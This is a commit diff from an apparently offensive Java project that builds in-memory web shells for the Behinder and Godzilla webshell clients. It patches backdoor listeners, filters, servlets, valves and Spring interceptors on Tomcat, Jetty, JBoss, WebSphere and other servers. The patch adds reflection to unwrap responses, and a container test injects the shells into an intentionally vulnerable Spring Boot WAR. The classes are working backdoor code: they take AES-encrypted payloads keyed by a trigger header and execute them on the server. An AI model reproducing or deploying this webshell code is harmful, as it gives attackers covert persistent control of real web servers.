fix: behinder response wrapper

integration-test/build.gradle

@@ -56,6 +56,7 @@ test {
             ":vul:vul-webapp-expression:war",
             ":vul:vul-webapp-jakarta:war",
             ":vul:vul-springboot2:bootJar",
+            ":vul:vul-springboot2:bootWar",
             ":vul:vul-springboot3:bootJar"
     )
     useJUnitPlatform()

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

@@ -16,6 +16,7 @@ public class ContainerTool {
     public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
     public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
     public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
+    public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
     public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
     public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
 

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java

@@ -0,0 +1,76 @@
+package com.reajason.javaweb.integration.springmvc;
+
+import com.reajason.javaweb.memshell.SpringMVCShell;
+import com.reajason.javaweb.memshell.config.Server;
+import com.reajason.javaweb.memshell.config.ShellTool;
+import com.reajason.javaweb.memshell.packer.Packer;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.Arguments;
+import org.junit.jupiter.params.provider.MethodSource;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.util.stream.Stream;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile;
+import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
+import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.params.provider.Arguments.arguments;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot2WarContainerTest {
+    public static final String imageName = "tomcat:8-jre8";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    static Stream<Arguments> casesProvider() {
+        return Stream.of(
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
+                arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
+        );
+    }
+
+    @AfterAll
+    static void tearDown() {
+        String logs = container.getLogs();
+        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
+    }
+
+    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
+    @MethodSource("casesProvider")
+    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+        testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer);
+    }
+}

memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java

@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 HttpSession session = ((HttpServletRequest) request).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
-                try {
-                    session.putValue("u", this.pass);
-                } catch (NoSuchMethodError e) {
-                    session.setAttribute("u", this.pass);
-                }
+                session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         HttpServletResponse response = null;
         try {

memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java

@@ -88,11 +88,7 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 obj.put("request", request);
                 obj.put("response", response);
                 obj.put("session", session);
-                try {
-                    session.putValue("u", this.pass);
-                } catch (NoSuchMethodError e) {
-                    session.setAttribute("u", this.pass);
-                }
+                session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         HttpServletResponse response = null;
         try {

memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java

@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 HttpSession session = ((HttpServletRequest) request).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
-                try {
-                    session.putValue("u", this.pass);
-                } catch (NoSuchMethodError e) {
-                    session.setAttribute("u", this.pass);
-                }
+                session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         HttpServletResponse response = null;
         try {

memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java

@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 HttpSession session = ((HttpServletRequest) request).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
-                try {
-                    session.putValue("u", this.pass);
-                } catch (NoSuchMethodError e) {
-                    session.setAttribute("u", this.pass);
-                }
+                session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         HttpServletResponse response = null;
         try {

memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java

@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 HttpSession session = ((HttpServletRequest) request).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
-                try {
-                    session.putValue("u", this.pass);
-                } catch (NoSuchMethodError e) {
-                    session.setAttribute("u", this.pass);
-                }
+                session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         HttpServletResponse response = null;
         response = (HttpServletResponse) getFieldValue(request, "_response");

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java

@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpSession;
 import java.io.IOException;
+import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -42,7 +43,7 @@ public class BehinderFilter extends ClassLoader implements Filter {
                 HttpSession session = ((HttpServletRequest) servletRequest).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", servletRequest);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
                 session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
@@ -58,6 +59,36 @@ public class BehinderFilter extends ClassLoader implements Filter {
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) {
         byte[] value = null;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java

@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpSession;
 import java.io.IOException;
+import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -30,7 +31,7 @@ public class BehinderServlet extends ClassLoader implements Servlet {
                 HttpSession session = request.getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
                 session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
@@ -44,6 +45,36 @@ public class BehinderServlet extends ClassLoader implements Servlet {
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     @Override
     public String getServletInfo() {
         return "";

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java

@@ -7,8 +7,10 @@ import org.apache.catalina.connector.Response;
 import javax.crypto.Cipher;
 import javax.crypto.spec.SecretKeySpec;
 import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpSession;
 import java.io.IOException;
+import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -82,7 +84,7 @@ public class BehinderValve extends ClassLoader implements Valve {
                 HttpSession session = request.getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
                 session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
@@ -98,4 +100,34 @@ public class BehinderValve extends ClassLoader implements Valve {
             this.getNext().invoke(request, response);
         }
     }
+
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java

@@ -8,6 +8,7 @@ import javax.crypto.spec.SecretKeySpec;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpSession;
+import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -34,12 +35,13 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
     }
 
     public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
+        System.out.println(response.getClass().getName());
         if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
             try {
                 HttpSession session = request.getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
                 session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
@@ -54,6 +56,36 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
         return null;
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) {
         byte[] value = null;

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java

@@ -8,6 +8,7 @@ import javax.crypto.spec.SecretKeySpec;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpSession;
+import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -40,7 +41,7 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
                 HttpSession session = request.getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
                 session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
@@ -57,6 +58,36 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     @Override
     public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
 

memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java

@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 HttpSession session = ((HttpServletRequest) request).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
-                try {
-                    session.putValue("u", this.pass);
-                } catch (NoSuchMethodError e) {
-                    session.setAttribute("u", this.pass);
-                }
+                session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         HttpServletResponse response = null;
         try {

memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java

@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 HttpSession session = ((HttpServletRequest) request).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
-                try {
-                    session.putValue("u", this.pass);
-                } catch (NoSuchMethodError e) {
-                    session.setAttribute("u", this.pass);
-                }
+                session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         HttpServletResponse response = null;
         Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");

memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java

@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 HttpSession session = ((HttpServletRequest) request).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", response);
+                obj.put("response", getInternalResponse(response));
                 obj.put("session", session);
-                try {
-                    session.putValue("u", this.pass);
-                } catch (NoSuchMethodError e) {
-                    session.setAttribute("u", this.pass);
-                }
+                session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
         }
     }
 
+    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
+        while (true) {
+            try {
+                response = (HttpServletResponse) getFieldValue(response, "response");
+            } catch (Exception e) {
+                return response;
+            }
+        }
+    }
+
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response");
     }

vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java

@@ -0,0 +1,13 @@
+package com.reajason.javaweb.vul.springboot2;
+
+import org.springframework.boot.builder.SpringApplicationBuilder;
+import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
+
+public class ServletInitializer extends SpringBootServletInitializer {
+
+    @Override
+    protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
+        return application.sources(VulSpringboot2Application.class);
+    }
+
+}